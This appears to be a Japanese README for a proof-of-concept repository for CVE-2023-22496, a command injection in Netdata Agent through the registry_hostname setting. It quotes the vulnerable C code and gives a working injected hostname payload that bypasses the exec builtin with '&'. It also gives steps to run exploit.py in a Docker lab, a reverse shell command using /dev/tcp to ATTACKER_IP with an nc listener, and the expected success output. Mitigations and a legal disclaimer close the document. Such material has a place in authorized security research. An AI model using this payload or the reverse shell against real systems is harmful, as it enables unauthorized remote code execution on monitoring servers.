
CVE-2023-22496のPoC: Netdata Agent <1.37におけるregistry_hostname経由のOSコマンドインジェクション
重要度: 重大 (CVSS 9.8)
影響を受けるバージョン: Netdata Agent < 1.37.0
修正版: v1.37.0
種類: OS コマンドインジェクション (CWE-78)
CVE-2023-22496 は、Netdata のヘルスアラート通知システムにおける OS コマンドインジェクションの脆弱性です。ストリーミングチェーン内の任意のノードの registry_hostname がサニタイズされずにシェルコマンドに挿入されます。Netdata の設定ファイルで registry hostname を設定できる攻撃者は、アラームを処理する任意の親ノード上で netdata プロセスユーザーとしてリモートコード実行を達成します。
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← サニタイズなし — 攻撃者制御
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // /bin/sh 経由で実行
...
}
spawn_enq_cmd は文字列を /bin/sh -c に渡し、シェルとして評価します。registry_hostname が決してサニタイズされないため、攻撃者は任意のシェルコマンドを注入できます。
exec プロセス置換素朴な注入 `'; cmd; '` は機能しません。exec シェル組み込みコマンドが現在のシェルプロセスを置き換えるため、注入された ;cmd; には到達しないからです。
動作する回避策 — & (バックグラウンド演算子) を使用:
# Netdata が注入後に構築するもの:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# 実行フロー:
# exec alarm-notify.sh 'root' 'x' & → バックグラウンドで実行; シェルは存続
# touch /tmp/pwned & → シェルがこれを評価; ファイルが作成される
# # → 残りはコメント; 無視される
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (攻撃者) │ │ (リレー) │ │ (被害者 / ターゲット) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() が発火
注入された registry_hostname を使用
→ agent_parent 上で RCE
攻撃者はストリーミングチェーン内の任意のノードを制御するだけで済みます。registry_hostname はストリームプロトコルで伝播され、すべての親ノードが health_alarm_execute を呼び出す際にそのまま使用されます。
CVE-2023-22496-PoC/
├── Dockerfile # ソースから netdata-vuln:v1.36.1 をビルド
├── docker-compose.yaml # 3ノードの脆弱なストリーミング環境
├── exploit.py # スタンドアロンエクスプロイトスクリプト
├── config/
│ ├── parent_netdata.conf # 親ノードの設定 (書き込み可能 — エクスプロイトが上書き)
│ ├── parent_stream.conf # 親ノードがストリームを受け付け、ヘルスを評価
│ ├── parent_guid # 固定ノード GUID
│ ├── middle_netdata.conf # 中間リレーの設定
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # 子ノード送信側の設定
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# ビルドには約 5〜15 分かかります (Netdata をソースからコンパイル)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
Netdata が初期化されるまで約 15 秒待ち、以下のコマンドで確認します:
# 親ノードの Web UI が HTTP 200 を返すはず
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# 期待される出力: "version": "v1.36.1-..."
# デフォルト: ターゲット (agent_parent) 上に /tmp/pwned を作成
python3 exploit.py "touch /tmp/pwned"
# 確認
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
期待される出力:
======================================================================
CVE-2023-22496 — Netdata registry_hostname コマンドインジェクション PoC
======================================================================
シェルコマンド : 'touch /tmp/pwned'
注入されたホスト : "x' & touch /tmp/pwned & #"
[*] 事前確認: Docker 環境の検証
[*] 3 つのコンテナすべてが実行中です。
[*] ステップ 1: agent_parent 用の注入済み netdata.conf を書き込み中
書き込み先: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] ステップ 2: 注入済み設定を読み込むために agent_parent を再起動中
...
agent_parent が起動し、応答中です。
[*] ステップ 3: disk_space WARNING アラームを 65 秒間待機
[*] ステップ 4: コマンド実行の証拠を確認中
======================================================================
✅ 成功 — CVE-2023-22496 確認済み
agent_parent 上に '/tmp/pwned' が存在します
======================================================================
# リスナーマシンで:
nc -lvnp 4444
# エクスプロイトを実行 (ATTACKER_IP を置き換え):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# コンテナとボリュームの停止および削除
docker compose down -v
# イメージの削除
docker rmi netdata-vuln:v1.36.1
| 対策 | 詳細 |
|---|---|
| アップグレード | Netdata Agent を ≥ v1.37.0 に更新 |
| 制限 | netdata.conf への書き込みアクセスを制限 |
| ネットワーク | ストリーミングポート (19999/tcp) を信頼できるネットワークのみに隔離 |
| 確認 | netdata --version — 1.37 未満のリリースでないことを確認 |
v1.37.0 の修正では、registry_hostname をシェルコマンドに挿入する前に、[a-zA-Z0-9._-] 以外の文字を拒否することでサニタイズしています。
このリポジトリは教育目的および許可されたセキュリティ研究目的のみで提供されています。自分が所有していない、または明示的な書面による許可を得ていないシステムに対してこの PoC を実行することは違法です。作者は悪用に対する一切の責任を負いません。